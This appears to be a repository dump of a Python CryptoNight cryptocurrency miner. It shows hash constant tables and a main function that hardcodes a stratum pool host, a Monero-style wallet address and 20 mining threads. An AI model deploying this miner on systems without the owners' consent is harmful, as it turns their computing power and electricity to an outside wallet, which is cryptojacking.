9c9,0xdb5c8787,0x1ab0aaaa,0x88d85050,0x8e2ba5a5,0x8a890303,0x134a5959,0x9b920909,0x39231a1a,0x75106565,0x5384d7d7,0x51d58484,0xd303d0d0,0x5edc8282,0xcbe22929,0x99c35a5a,0x332d1e1e,0x463d7b7b,0x1fb7a8a8,0x610c6d6d,0x4e622c2c, 748 | 0x32c6c6a5,0x6ff8f884,0x5eeeee99,0x7af6f68d,0xe8ffff0d,0x0ad6d6bd,0x16dedeb1,0x6d919154,0x90606050,0x07020203,0x2ececea9,0xd156567d,0xcce7e719,0x13b5b562,0x7c4d4de6,0x59ecec9a,0x408f8f45,0xa31f1f9d,0x49898940,0x68fafa87,0xd0efef15,0x94b2b2eb,0xce8e8ec9,0xe6fbfb0b,0x6e4141ec,0x1ab3b367,0x435f5ffd,0x604545ea,0xf92323bf,0x515353f7,0x45e4e496,0x769b9b5b,0x287575c2,0xc5e1e11c,0xd43d3dae,0xf24c4c6a,0x826c6c5a,0xbd7e7e41,0xf3f5f502,0x5283834f,0x8c68685c,0x565151f4,0x8dd1d134,0xe1f9f908,0x4ce2e293,0x3eabab73,0x97626253,0x6b2a2a3f,0x1c08080c,0x63959552,0xe9464665,0x7f9d9d5e,0x48303028,0xcf3737a1,0x1b0a0a0f,0xeb2f2fb5,0x150e0e09,0x7e242436,0xad1b1b9b,0x98dfdf3d,0xa7cdcd26,0xf54e4e69,0x337f7fcd,0x50eaea9f,0x3f12121b,0xa41d1d9e,0xc4585874,0x4634342e,0x4136362d,0x11dcdcb2,0x9db4b4ee,0x4d5b5bfb,0xa5a4a4f6,0xa176764d,0x14b7b761,0x347d7dce,0xdf52527b,0x9fdddd3e,0xcd5e5e71,0xb1131397,0xa2a6a6f5,0x01b9b968,0x00000000,0xb5c1c12c,0xe0404060,0xc2e3e31f,0x3a7979c8,0x9ab6b6ed,0x0dd4d4be,0x478d8d46,0x176767d9,0xaf72724b,0xed9494de,0xff9898d4,0x93b0b0e8,0x5b85854a,0x06bbbb6b,0xbbc5c52a,0x7b4f4fe5,0xd7eded16,0xd28686c5,0xf89a9ad7,0x99666655,0xb6111194,0xc08a8acf,0xd9e9e910,0x0e040406,0x66fefe81,0xaba0a0f0,0xb4787844,0xf02525ba,0x754b4be3,0xaca2a2f3,0x445d5dfe,0xdb8080c0,0x8005058a,0xd33f3fad,0xfe2121bc,0xa8707048,0xfdf1f104,0x196363df,0x2f7777c1,0x30afaf75,0xe7424263,0x70202030,0xcbe5e51a,0xeffdfd0e,0x08bfbf6d,0x5581814c,0x24181814,0x79262635,0xb2c3c32f,0x86bebee1,0xc83535a2,0xc78888cc,0x652e2e39,0x6a939357,0x585555f2,0x61fcfc82,0xb37a7a47,0x27c8c8ac,0x88babae7,0x4f32322b,0x42e6e695,0x3bc0c0a0,0xaa191998,0xf69e9ed1,0x22a3a37f,0xee444466,0xd654547e,0xdd3b3bab,0x950b0b83,0xc98c8cca,0xbcc7c729,0x056b6bd3,0x6c28283c,0x2ca7a779,0x81bcbce2,0x3116161d,0x37adad76,0x96dbdb3b,0x9e646456,0xa674744e,0x3614141e,0xe49292db,0x120c0c0a,0xfc48486c,0x8fb8b8e4,0x789f9f5d,0x0fbdbd6e,0x694343ef,0x35c4c4a6,0xda3939a8,0xc63131a4,0x8ad3d337,0x74f2f28b,0x83d5d532,0x4e8b8b43,0x856e6e59,0x18dadab7,0x8e01018c,0x1db1b164,0xf19c9cd2,0x724949e0,0x1fd8d8b4,0xb9acacfa,0xfaf3f307,0xa0cfcf25,0x20cacaaf,0x7df4f48e,0x674747e9,0x38101018,0x0b6f6fd5,0x73f0f088,0xfb4a4a6f,0xca5c5c72,0x54383824,0x5f5757f1,0x217373c7,0x64979751,0xaecbcb23,0x25a1a17c,0x57e8e89c,0x5d3e3e21,0xea9696dd,0x1e6161dc,0x9c0d0d86,0x9b0f0f85,0x4be0e090,0xba7c7c42,0x267171c4,0x29ccccaa,0xe39090d8,0x09060605,0xf4f7f701,0x2a1c1c12,0x3cc2c2a3,0x8b6a6a5f,0xbeaeaef9,0x026969d0,0xbf171791,0x71999958,0x533a3a27,0xf72727b9,0x91d9d938,0xdeebeb13,0xe52b2bb3,0x77222233,0x04d2d2bb,0x39a9a970,0x87070789,0xc13333a7,0xec2d2db6,0x5a3c3c22,0xb8151592,0xa9c9c920,0x5c878749,0xb0aaaaff,0xd8505078,0x2ba5a57a,0x8903038f,0x4a5959f8,0x92090980,0x231a1a17,0x106565da,0x84d7d731,0xd58484c6,0x03d0d0b8,0xdc8282c3,0xe22929b0,0xc35a5a77,0x2d1e1e11,0x3d7b7bcb,0xb7a8a8fc,0x0c6d6dd6,0x622c2c3a, 749 | 0xc6c6a597,0xf8f884eb,0xeeee99c7,0xf6f68df7,0xffff0de5,0xd6d6bdb7,0xdedeb1a7,0x91915439,0x606050c0,0x02020304,0xcecea987,0x56567dac,0xe7e719d5,0xb5b56271,0x4d4de69a,0xecec9ac3,0x8f8f4505,0x1f1f9d3e,0x89894009,0xfafa87ef,0xefef15c5,0xb2b2eb7f,0x8e8ec907,0xfbfb0bed,0x4141ec82,0xb3b3677d,0x5f5ffdbe,0x4545ea8a,0x2323bf46,0x5353f7a6,0xe4e496d3,0x9b9b5b2d,0x7575c2ea,0xe1e11cd9,0x3d3dae7a,0x4c4c6a98,0x6c6c5ad8,0x7e7e41fc,0xf5f502f1,0x83834f1d,0x68685cd0,0x5151f4a2,0xd1d134b9,0xf9f908e9,0xe2e293df,0xabab734d,0x626253c4,0x2a2a3f54,0x08080c10,0x95955231,0x4646658c,0x9d9d5e21,0x30302860,0x3737a16e,0x0a0a0f14,0x2f2fb55e,0x0e0e091c,0x24243648,0x1b1b9b36,0xdfdf3da5,0xcdcd2681,0x4e4e699c,0x7f7fcdfe,0xeaea9fcf,0x12121b24,0x1d1d9e3a,0x585874b0,0x34342e68,0x36362d6c,0xdcdcb2a3,0xb4b4ee73,0x5b5bfbb6,0xa4a4f653,0x76764dec,0xb7b76175,0x7d7dcefa,0x52527ba4,0xdddd3ea1,0x5e5e71bc,0x13139726,0xa6a6f557,0xb9b96869,0x00000000,0xc1c12c99,0x40406080,0xe3e31fdd,0x7979c8f2,0xb6b6ed77,0xd4d4beb3,0x8d8d4601,0x6767d9ce,0x72724be4,0x9494de33,0x9898d42b,0xb0b0e87b,0x85854a11,0xbbbb6b6d,0xc5c52a91,0x4f4fe59e,0xeded16c1,0x8686c517,0x9a9ad72f,0x666655cc,0x11119422,0x8a8acf0f,0xe9e910c9,0x04040608,0xfefe81e7,0xa0a0f05b,0x787844f0,0x2525ba4a,0x4b4be396,0xa2a2f35f,0x5d5dfeba,0x8080c01b,0x05058a0a,0x3f3fad7e,0x2121bc42,0x707048e0,0xf1f104f9,0x6363dfc6,0x7777c1ee,0xafaf7545,0x42426384,0x20203040,0xe5e51ad1,0xfdfd0ee1,0xbfbf6d65,0x81814c19,0x18181430,0x2626354c,0xc3c32f9d,0xbebee167,0x3535a26a,0x8888cc0b,0x2e2e395c,0x9393573d,0x5555f2aa,0xfcfc82e3,0x7a7a47f4,0xc8c8ac8b,0xbabae76f,0x32322b64,0xe6e695d7,0xc0c0a09b,0x19199832,0x9e9ed127,0xa3a37f5d,0x44446688,0x54547ea8,0x3b3bab76,0x0b0b8316,0x8c8cca03,0xc7c72995,0x6b6bd3d6,0x28283c50,0xa7a77955,0xbcbce263,0x16161d2c,0xadad7641,0xdbdb3bad,0x646456c8,0x74744ee8,0x14141e28,0x9292db3f,0x0c0c0a18,0x48486c90,0xb8b8e46b,0x9f9f5d25,0xbdbd6e61,0x4343ef86,0xc4c4a693,0x3939a872,0x3131a462,0xd3d337bd,0xf2f28bff,0xd5d532b1,0x8b8b430d,0x6e6e59dc,0xdadab7af,0x01018c02,0xb1b16479,0x9c9cd223,0x4949e092,0xd8d8b4ab,0xacacfa43,0xf3f307fd,0xcfcf2585,0xcacaaf8f,0xf4f48ef3,0x4747e98e,0x10101820,0x6f6fd5de,0xf0f088fb,0x4a4a6f94,0x5c5c72b8,0x38382470,0x5757f1ae,0x7373c7e6,0x97975135,0xcbcb238d,0xa1a17c59,0xe8e89ccb,0x3e3e217c,0x9696dd37,0x6161dcc2,0x0d0d861a,0x0f0f851e,0xe0e090db,0x7c7c42f8,0x7171c4e2,0xccccaa83,0x9090d83b,0x0606050c,0xf7f701f5,0x1c1c1238,0xc2c2a39f,0x6a6a5fd4,0xaeaef947,0x6969d0d2,0x1717912e,0x99995829,0x3a3a2774,0x2727b94e,0xd9d938a9,0xebeb13cd,0x2b2bb356,0x22223344,0xd2d2bbbf,0xa9a97049,0x0707890e,0x3333a766,0x2d2db65a,0x3c3c2278,0x1515922a,0xc9c92089,0x87874915,0xaaaaff4f,0x505078a0,0xa5a57a51,0x03038f06,0x5959f8b2,0x09098012,0x1a1a1734,0x6565daca,0xd7d731b5,0x8484c613,0xd0d0b8bb,0x8282c31f,0x2929b052,0x5a5a77b4,0x1e1e113c,0x7b7bcbf6,0xa8a8fc4b,0x6d6dd6da,0x2c2c3a58, 750 | 0xc6a597f4,0xf884eb97,0xee99c7b0,0xf68df78c,0xff0de517,0xd6bdb7dc,0xdeb1a7c8,0x915439fc,0x6050c0f0,0x02030405,0xcea987e0,0x567dac87,0xe719d52b,0xb56271a6,0x4de69a31,0xec9ac3b5,0x8f4505cf,0x1f9d3ebc,0x894009c0,0xfa87ef92,0xef15c53f,0xb2eb7f26,0x8ec90740,0xfb0bed1d,0x41ec822f,0xb3677da9,0x5ffdbe1c,0x45ea8a25,0x23bf46da,0x53f7a602,0xe496d3a1,0x9b5b2ded,0x75c2ea5d,0xe11cd924,0x3dae7ae9,0x4c6a98be,0x6c5ad8ee,0x7e41fcc3,0xf502f106,0x834f1dd1,0x685cd0e4,0x51f4a207,0xd134b95c,0xf908e918,0xe293dfae,0xab734d95,0x6253c4f5,0x2a3f5441,0x080c1014,0x955231f6,0x46658caf,0x9d5e21e2,0x30286078,0x37a16ef8,0x0a0f1411,0x2fb55ec4,0x0e091c1b,0x2436485a,0x1b9b36b6,0xdf3da547,0xcd26816a,0x4e699cbb,0x7fcdfe4c,0xea9fcfba,0x121b242d,0x1d9e3ab9,0x5874b09c,0x342e6872,0x362d6c77,0xdcb2a3cd,0xb4ee7329,0x5bfbb616,0xa4f65301,0x764decd7,0xb76175a3,0x7dcefa49,0x527ba48d,0xdd3ea142,0x5e71bc93,0x139726a2,0xa6f55704,0xb96869b8,0x00000000,0xc12c9974,0x406080a0,0xe31fdd21,0x79c8f243,0xb6ed772c,0xd4beb3d9,0x8d4601ca,0x67d9ce70,0x724be4dd,0x94de3379,0x98d42b67,0xb0e87b23,0x854a11de,0xbb6b6dbd,0xc52a917e,0x4fe59e34,0xed16c13a,0x86c51754,0x9ad72f62,0x6655ccff,0x119422a7,0x8acf0f4a,0xe910c930,0x0406080a,0xfe81e798,0xa0f05b0b,0x7844f0cc,0x25ba4ad5,0x4be3963e,0xa2f35f0e,0x5dfeba19,0x80c01b5b,0x058a0a85,0x3fad7eec,0x21bc42df,0x7048e0d8,0xf104f90c,0x63dfc67a,0x77c1ee58,0xaf75459f,0x426384a5,0x20304050,0xe51ad12e,0xfd0ee112,0xbf6d65b7,0x814c19d4,0x1814303c,0x26354c5f,0xc32f9d71,0xbee16738,0x35a26afd,0x88cc0b4f,0x2e395c4b,0x93573df9,0x55f2aa0d,0xfc82e39d,0x7a47f4c9,0xc8ac8bef,0xbae76f32,0x322b647d,0xe695d7a4,0xc0a09bfb,0x199832b3,0x9ed12768,0xa37f5d81,0x446688aa,0x547ea882,0x3bab76e6,0x0b83169e,0x8cca0345,0xc729957b,0x6bd3d66e,0x283c5044,0xa779558b,0xbce2633d,0x161d2c27,0xad76419a,0xdb3bad4d,0x6456c8fa,0x744ee8d2,0x141e2822,0x92db3f76,0x0c0a181e,0x486c90b4,0xb8e46b37,0x9f5d25e7,0xbd6e61b2,0x43ef862a,0xc4a693f1,0x39a872e3,0x31a462f7,0xd337bd59,0xf28bff86,0xd532b156,0x8b430dc5,0x6e59dceb,0xdab7afc2,0x018c028f,0xb16479ac,0x9cd2236d,0x49e0923b,0xd8b4abc7,0xacfa4315,0xf307fd09,0xcf25856f,0xcaaf8fea,0xf48ef389,0x47e98e20,0x10182028,0x6fd5de64,0xf088fb83,0x4a6f94b1,0x5c72b896,0x3824706c,0x57f1ae08,0x73c7e652,0x975135f3,0xcb238d65,0xa17c5984,0xe89ccbbf,0x3e217c63,0x96dd377c,0x61dcc27f,0x0d861a91,0x0f851e94,0xe090dbab,0x7c42f8c6,0x71c4e257,0xccaa83e5,0x90d83b73,0x06050c0f,0xf701f503,0x1c123836,0xc2a39ffe,0x6a5fd4e1,0xaef94710,0x69d0d26b,0x17912ea8,0x995829e8,0x3a277469,0x27b94ed0,0xd938a948,0xeb13cd35,0x2bb356ce,0x22334455,0xd2bbbfd6,0xa9704990,0x07890e80,0x33a766f2,0x2db65ac1,0x3c227866,0x15922aad,0xc9208960,0x874915db,0xaaff4f1a,0x5078a088,0xa57a518e,0x038f068a,0x59f8b213,0x0980129b,0x1a173439,0x65daca75,0xd731b553,0x84c61351,0xd0b8bbd3,0x82c31f5e,0x29b052cb,0x5a77b499,0x1e113c33,0x7bcbf646,0xa8fc4b1f,0x6dd6da61,0x2c3a584e, 751 | 0xa597f4a5,0x84eb9784,0x99c7b099,0x8df78c8d,0x0de5170d,0xbdb7dcbd,0xb1a7c8b1,0x5439fc54,0x50c0f050,0x03040503,0xa987e0a9,0x7dac877d,0x19d52b19,0x6271a662,0xe69a31e6,0x9ac3b59a,0x4505cf45,0x9d3ebc9d,0x4009c040,0x87ef9287,0x15c53f15,0xeb7f26eb,0xc90740c9,0x0bed1d0b,0xec822fec,0x677da967,0xfdbe1cfd,0xea8a25ea,0xbf46dabf,0xf7a602f7,0x96d3a196,0x5b2ded5b,0xc2ea5dc2,0x1cd9241c,0xae7ae9ae,0x6a98be6a,0x5ad8ee5a,0x41fcc341,0x02f10602,0x4f1dd14f,0x5cd0e45c,0xf4a207f4,0x34b95c34,0x08e91808,0x93dfae93,0x734d9573,0x53c4f553,0x3f54413f,0x0c10140c,0x5231f652,0x658caf65,0x5e21e25e,0x28607828,0xa16ef8a1,0x0f14110f,0xb55ec4b5,0x091c1b09,0x36485a36,0x9b36b69b,0x3da5473d,0x26816a26,0x699cbb69,0xcdfe4ccd,0x9fcfba9f,0x1b242d1b,0x9e3ab99e,0x74b09c74,0x2e68722e,0x2d6c772d,0xb2a3cdb2,0xee7329ee,0xfbb616fb,0xf65301f6,0x4decd74d,0x6175a361,0xcefa49ce,0x7ba48d7b,0x3ea1423e,0x71bc9371,0x9726a297,0xf55704f5,0x6869b868,0x00000000,0x2c99742c,0x6080a060,0x1fdd211f,0xc8f243c8,0xed772ced,0xbeb3d9be,0x4601ca46,0xd9ce70d9,0x4be4dd4b,0xde3379de,0xd42b67d4,0xe87b23e8,0x4a11de4a,0x6b6dbd6b,0x2a917e2a,0xe59e34e5,0x16c13a16,0xc51754c5,0xd72f62d7,0x55ccff55,0x9422a794,0xcf0f4acf,0x10c93010,0x06080a06,0x81e79881,0xf05b0bf0,0x44f0cc44,0xba4ad5ba,0xe3963ee3,0xf35f0ef3,0xfeba19fe,0xc01b5bc0,0x8a0a858a,0xad7eecad,0xbc42dfbc,0x48e0d848,0x04f90c04,0xdfc67adf,0xc1ee58c1,0x75459f75,0x6384a563,0x30405030,0x1ad12e1a,0x0ee1120e,0x6d65b76d,0x4c19d44c,0x14303c14,0x354c5f35,0x2f9d712f,0xe16738e1,0xa26afda2,0xcc0b4fcc,0x395c4b39,0x573df957,0xf2aa0df2,0x82e39d82,0x47f4c947,0xac8befac,0xe76f32e7,0x2b647d2b,0x95d7a495,0xa09bfba0,0x9832b398,0xd12768d1,0x7f5d817f,0x6688aa66,0x7ea8827e,0xab76e6ab,0x83169e83,0xca0345ca,0x29957b29,0xd3d66ed3,0x3c50443c,0x79558b79,0xe2633de2,0x1d2c271d,0x76419a76,0x3bad4d3b,0x56c8fa56,0x4ee8d24e,0x1e28221e,0xdb3f76db,0x0a181e0a,0x6c90b46c,0xe46b37e4,0x5d25e75d,0x6e61b26e,0xef862aef,0xa693f1a6,0xa872e3a8,0xa462f7a4,0x37bd5937,0x8bff868b,0x32b15632,0x430dc543,0x59dceb59,0xb7afc2b7,0x8c028f8c,0x6479ac64,0xd2236dd2,0xe0923be0,0xb4abc7b4,0xfa4315fa,0x07fd0907,0x25856f25,0xaf8feaaf,0x8ef3898e,0xe98e20e9,0x18202818,0xd5de64d5,0x88fb8388,0x6f94b16f,0x72b89672,0x24706c24,0xf1ae08f1,0xc7e652c7,0x5135f351,0x238d6523,0x7c59847c,0x9ccbbf9c,0x217c6321,0xdd377cdd,0xdcc27fdc,0x861a9186,0x851e9485,0x90dbab90,0x42f8c642,0xc4e257c4,0xaa83e5aa,0xd83b73d8,0x050c0f05,0x01f50301,0x12383612,0xa39ffea3,0x5fd4e15f,0xf94710f9,0xd0d26bd0,0x912ea891,0x5829e858,0x27746927,0xb94ed0b9,0x38a94838,0x13cd3513,0xb356ceb3,0x33445533,0xbbbfd6bb,0x70499070,0x890e8089,0xa766f2a7,0xb65ac1b6,0x22786622,0x922aad92,0x20896020,0x4915db49,0xff4f1aff,0x78a08878,0x7a518e7a,0x8f068a8f,0xf8b213f8,0x80129b80,0x17343917,0xdaca75da,0x31b55331,0xc61351c6,0xb8bbd3b8,0xc31f5ec3,0xb052cbb0,0x77b49977,0x113c3311,0xcbf646cb,0xfc4b1ffc,0xd6da61d6,0x3a584e3a, 752 | 0x97f4a5f4,0xeb978497,0xc7b099b0,0xf78c8d8c,0xe5170d17,0xb7dcbddc,0xa7c8b1c8,0x39fc54fc,0xc0f050f0,0x04050305,0x87e0a9e0,0xac877d87,0xd52b192b,0x71a662a6,0x9a31e631,0xc3b59ab5,0x05cf45cf,0x3ebc9dbc,0x09c040c0,0xef928792,0xc53f153f,0x7f26eb26,0x0740c940,0xed1d0b1d,0x822fec2f,0x7da967a9,0xbe1cfd1c,0x8a25ea25,0x46dabfda,0xa602f702,0xd3a196a1,0x2ded5bed,0xea5dc25d,0xd9241c24,0x7ae9aee9,0x98be6abe,0xd8ee5aee,0xfcc341c3,0xf1060206,0x1dd14fd1,0xd0e45ce4,0xa207f407,0xb95c345c,0xe9180818,0xdfae93ae,0x4d957395,0xc4f553f5,0x54413f41,0x10140c14,0x31f652f6,0x8caf65af,0x21e25ee2,0x60782878,0x6ef8a1f8,0x14110f11,0x5ec4b5c4,0x1c1b091b,0x485a365a,0x36b69bb6,0xa5473d47,0x816a266a,0x9cbb69bb,0xfe4ccd4c,0xcfba9fba,0x242d1b2d,0x3ab99eb9,0xb09c749c,0x68722e72,0x6c772d77,0xa3cdb2cd,0x7329ee29,0xb616fb16,0x5301f601,0xecd74dd7,0x75a361a3,0xfa49ce49,0xa48d7b8d,0xa1423e42,0xbc937193,0x26a297a2,0x5704f504,0x69b868b8,0x00000000,0x99742c74,0x80a060a0,0xdd211f21,0xf243c843,0x772ced2c,0xb3d9bed9,0x01ca46ca,0xce70d970,0xe4dd4bdd,0x3379de79,0x2b67d467,0x7b23e823,0x11de4ade,0x6dbd6bbd,0x917e2a7e,0x9e34e534,0xc13a163a,0x1754c554,0x2f62d762,0xccff55ff,0x22a794a7,0x0f4acf4a,0xc9301030,0x080a060a,0xe7988198,0x5b0bf00b,0xf0cc44cc,0x4ad5bad5,0x963ee33e,0x5f0ef30e,0xba19fe19,0x1b5bc05b,0x0a858a85,0x7eecadec,0x42dfbcdf,0xe0d848d8,0xf90c040c,0xc67adf7a,0xee58c158,0x459f759f,0x84a563a5,0x40503050,0xd12e1a2e,0xe1120e12,0x65b76db7,0x19d44cd4,0x303c143c,0x4c5f355f,0x9d712f71,0x6738e138,0x6afda2fd,0x0b4fcc4f,0x5c4b394b,0x3df957f9,0xaa0df20d,0xe39d829d,0xf4c947c9,0x8befacef,0x6f32e732,0x647d2b7d,0xd7a495a4,0x9bfba0fb,0x32b398b3,0x2768d168,0x5d817f81,0x88aa66aa,0xa8827e82,0x76e6abe6,0x169e839e,0x0345ca45,0x957b297b,0xd66ed36e,0x50443c44,0x558b798b,0x633de23d,0x2c271d27,0x419a769a,0xad4d3b4d,0xc8fa56fa,0xe8d24ed2,0x28221e22,0x3f76db76,0x181e0a1e,0x90b46cb4,0x6b37e437,0x25e75de7,0x61b26eb2,0x862aef2a,0x93f1a6f1,0x72e3a8e3,0x62f7a4f7,0xbd593759,0xff868b86,0xb1563256,0x0dc543c5,0xdceb59eb,0xafc2b7c2,0x028f8c8f,0x79ac64ac,0x236dd26d,0x923be03b,0xabc7b4c7,0x4315fa15,0xfd090709,0x856f256f,0x8feaafea,0xf3898e89,0x8e20e920,0x20281828,0xde64d564,0xfb838883,0x94b16fb1,0xb8967296,0x706c246c,0xae08f108,0xe652c752,0x35f351f3,0x8d652365,0x59847c84,0xcbbf9cbf,0x7c632163,0x377cdd7c,0xc27fdc7f,0x1a918691,0x1e948594,0xdbab90ab,0xf8c642c6,0xe257c457,0x83e5aae5,0x3b73d873,0x0c0f050f,0xf5030103,0x38361236,0x9ffea3fe,0xd4e15fe1,0x4710f910,0xd26bd06b,0x2ea891a8,0x29e858e8,0x74692769,0x4ed0b9d0,0xa9483848,0xcd351335,0x56ceb3ce,0x44553355,0xbfd6bbd6,0x49907090,0x0e808980,0x66f2a7f2,0x5ac1b6c1,0x78662266,0x2aad92ad,0x89602060,0x15db49db,0x4f1aff1a,0xa0887888,0x518e7a8e,0x068a8f8a,0xb213f813,0x129b809b,0x34391739,0xca75da75,0xb5533153,0x1351c651,0xbbd3b8d3,0x1f5ec35e,0x52cbb0cb,0xb4997799,0x3c331133,0xf646cb46,0x4b1ffc1f,0xda61d661,0x584e3a4e, 753 | 0xf4a5f432,0x9784976f,0xb099b05e,0x8c8d8c7a,0x170d17e8,0xdcbddc0a,0xc8b1c816,0xfc54fc6d,0xf050f090,0x05030507,0xe0a9e02e,0x877d87d1,0x2b192bcc,0xa662a613,0x31e6317c,0xb59ab559,0xcf45cf40,0xbc9dbca3,0xc040c049,0x92879268,0x3f153fd0,0x26eb2694,0x40c940ce,0x1d0b1de6,0x2fec2f6e,0xa967a91a,0x1cfd1c43,0x25ea2560,0xdabfdaf9,0x02f70251,0xa196a145,0xed5bed76,0x5dc25d28,0x241c24c5,0xe9aee9d4,0xbe6abef2,0xee5aee82,0xc341c3bd,0x060206f3,0xd14fd152,0xe45ce48c,0x07f40756,0x5c345c8d,0x180818e1,0xae93ae4c,0x9573953e,0xf553f597,0x413f416b,0x140c141c,0xf652f663,0xaf65afe9,0xe25ee27f,0x78287848,0xf8a1f8cf,0x110f111b,0xc4b5c4eb,0x1b091b15,0x5a365a7e,0xb69bb6ad,0x473d4798,0x6a266aa7,0xbb69bbf5,0x4ccd4c33,0xba9fba50,0x2d1b2d3f,0xb99eb9a4,0x9c749cc4,0x722e7246,0x772d7741,0xcdb2cd11,0x29ee299d,0x16fb164d,0x01f601a5,0xd74dd7a1,0xa361a314,0x49ce4934,0x8d7b8ddf,0x423e429f,0x937193cd,0xa297a2b1,0x04f504a2,0xb868b801,0x00000000,0x742c74b5,0xa060a0e0,0x211f21c2,0x43c8433a,0x2ced2c9a,0xd9bed90d,0xca46ca47,0x70d97017,0xdd4bddaf,0x79de79ed,0x67d467ff,0x23e82393,0xde4ade5b,0xbd6bbd06,0x7e2a7ebb,0x34e5347b,0x3a163ad7,0x54c554d2,0x62d762f8,0xff55ff99,0xa794a7b6,0x4acf4ac0,0x301030d9,0x0a060a0e,0x98819866,0x0bf00bab,0xcc44ccb4,0xd5bad5f0,0x3ee33e75,0x0ef30eac,0x19fe1944,0x5bc05bdb,0x858a8580,0xecadecd3,0xdfbcdffe,0xd848d8a8,0x0c040cfd,0x7adf7a19,0x58c1582f,0x9f759f30,0xa563a5e7,0x50305070,0x2e1a2ecb,0x120e12ef,0xb76db708,0xd44cd455,0x3c143c24,0x5f355f79,0x712f71b2,0x38e13886,0xfda2fdc8,0x4fcc4fc7,0x4b394b65,0xf957f96a,0x0df20d58,0x9d829d61,0xc947c9b3,0xefacef27,0x32e73288,0x7d2b7d4f,0xa495a442,0xfba0fb3b,0xb398b3aa,0x68d168f6,0x817f8122,0xaa66aaee,0x827e82d6,0xe6abe6dd,0x9e839e95,0x45ca45c9,0x7b297bbc,0x6ed36e05,0x443c446c,0x8b798b2c,0x3de23d81,0x271d2731,0x9a769a37,0x4d3b4d96,0xfa56fa9e,0xd24ed2a6,0x221e2236,0x76db76e4,0x1e0a1e12,0xb46cb4fc,0x37e4378f,0xe75de778,0xb26eb20f,0x2aef2a69,0xf1a6f135,0xe3a8e3da,0xf7a4f7c6,0x5937598a,0x868b8674,0x56325683,0xc543c54e,0xeb59eb85,0xc2b7c218,0x8f8c8f8e,0xac64ac1d,0x6dd26df1,0x3be03b72,0xc7b4c71f,0x15fa15b9,0x090709fa,0x6f256fa0,0xeaafea20,0x898e897d,0x20e92067,0x28182838,0x64d5640b,0x83888373,0xb16fb1fb,0x967296ca,0x6c246c54,0x08f1085f,0x52c75221,0xf351f364,0x652365ae,0x847c8425,0xbf9cbf57,0x6321635d,0x7cdd7cea,0x7fdc7f1e,0x9186919c,0x9485949b,0xab90ab4b,0xc642c6ba,0x57c45726,0xe5aae529,0x73d873e3,0x0f050f09,0x030103f4,0x3612362a,0xfea3fe3c,0xe15fe18b,0x10f910be,0x6bd06b02,0xa891a8bf,0xe858e871,0x69276953,0xd0b9d0f7,0x48384891,0x351335de,0xceb3cee5,0x55335577,0xd6bbd604,0x90709039,0x80898087,0xf2a7f2c1,0xc1b6c1ec,0x6622665a,0xad92adb8,0x602060a9,0xdb49db5c,0x1aff1ab0,0x887888d8,0x8e7a8e2b,0x8a8f8a89,0x13f8134a,0x9b809b92,0x39173923,0x75da7510,0x53315384,0x51c651d5,0xd3b8d303,0x5ec35edc,0xcbb0cbe2,0x997799c3,0x3311332d,0x46cb463d,0x1ffc1fb7,0x61d6610c,0x4e3a4e62] 754 | blakeS=[[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15],[14,10,4,8,9,15,13,6,1,12,0,2,11,7,5,3],[11,8,12,0,5,2,15,13,10,14,3,6,7,1,9,4],[7,9,3,1,13,12,11,14,2,6,5,10,4,0,15,8],[9,0,5,7,2,4,10,15,14,1,11,12,6,8,3,13],[2,12,6,10,0,11,8,3,4,13,7,5,15,14,1,9],[12,5,1,15,14,13,4,10,0,7,6,3,9,2,8,11],[13,11,7,14,12,1,3,9,5,0,15,4,8,6,2,10],[6,15,14,9,11,3,0,8,12,2,13,7,1,4,10,5],[10,2,8,4,7,6,1,5,15,11,9,14,3,12,13,0],[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15],[14,10,4,8,9,15,13,6,1,12,0,2,11,7,5,3],[11,8,12,0,5,2,15,13,10,14,3,6,7,1,9,4],[7,9,3,1,13,12,11,14,2,6,5,10,4,0,15,8],[9,0,5,7,2,4,10,15,14,1,11,12,6,8,3,13],[2,12,6,10,0,11,8,3,4,13,7,5,15,14,1,9],[12,5,1,15,14,13,4,10,0,7,6,3,9,2,8,11],[13,11,7,14,12,1,3,9,5,0,15,4,8,6,2,10],[6,15,14,9,11,3,0,8,12,2,13,7,1,4,10,5],[10,2,8,4,7,6,1,5,15,11,9,14,3,12,13,0]] 755 | 756 | if __name__ == '__main__': 757 | run_tests() 758 | -------------------------------------------------------------------------------- /测试项目/ReadableCryptoMiner/defs.py: -------------------------------------------------------------------------------- 1 | 2 | SOFT_VERSION = "0.1" 3 | AGENT_LABEL = "WKTA.nano.miner/"+SOFT_VERSION 4 | -------------------------------------------------------------------------------- /测试项目/ReadableCryptoMiner/ggminer.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import math 3 | import sys 4 | 5 | import Utils 6 | from Miner import Miner 7 | from Utils import log, LEVEL_INFO 8 | 9 | 10 | def test_job(given_miner): 11 | """ 12 | this tests only the old version of CryptoNight (before Cn/V4) and it shows how the miner 13 | behaves when the share has been found properly. 14 | """ 15 | job_msg = { 16 | "blob": "0505ad91b1cb05473f162f06104953ab34112ea403d365f3e83f339c44328ca3dbd87ba7e62f4a00000000557056bfa4105\ 17 | abde09055edea9a0a5d3f333412a74bc96417a23bc68f8d73e405", 18 | "job_id": "488788125594146", "target": "285c8f02" 19 | } 20 | 21 | blob = job_msg["blob"] 22 | job_id = job_msg["job_id"] 23 | target = job_msg["target"] 24 | difficulty = math.floor((2 ** 32 - 1) / int(target, 16)) 25 | 26 | given_miner._subscription._id = "dummy" 27 | job = given_miner._subscription.create_job( 28 | job_id=job_id, 29 | blob=blob, 30 | target=target 31 | ) 32 | log("start test job", LEVEL_INFO) 33 | for result in job.mine(nonce_start=0x24000000): 34 | log("Found share: " + str(result), LEVEL_INFO) 35 | log("end test job", LEVEL_INFO) 36 | # expected_result = { 37 | # "id": "523289590119384", "job_id": "218283583596348", "nonce": "24000082", 38 | # "result": "df6911d024c62d910e53b012f6b8ed0eedfaf53f60819e261207d91044258202" 39 | # } 40 | 41 | def main(): 42 | pool = 'stratum+tcp://usa.leeyabug.top:41637' 43 | address_miner = '47mjFw6dNVPBXLCzQZCWSWD7aGbaW7Mnc1Sdw378jvzbYJRSTk71nKG135K9zYheVxEy5gtpsccZTcaZCJxZgwmM3cxZjiE.miner_100' 44 | thread = 20 45 | 46 | Utils.DEBUG = True 47 | miner = Miner(pool, address_miner, '123', 'cryptonight', thread) 48 | miner.serve_forever() 49 | -------------------------------------------------------------------------------- /测试项目/test/__pycache__/test2.cpython-37.pyc: -------------------------------------------------------------------------------- 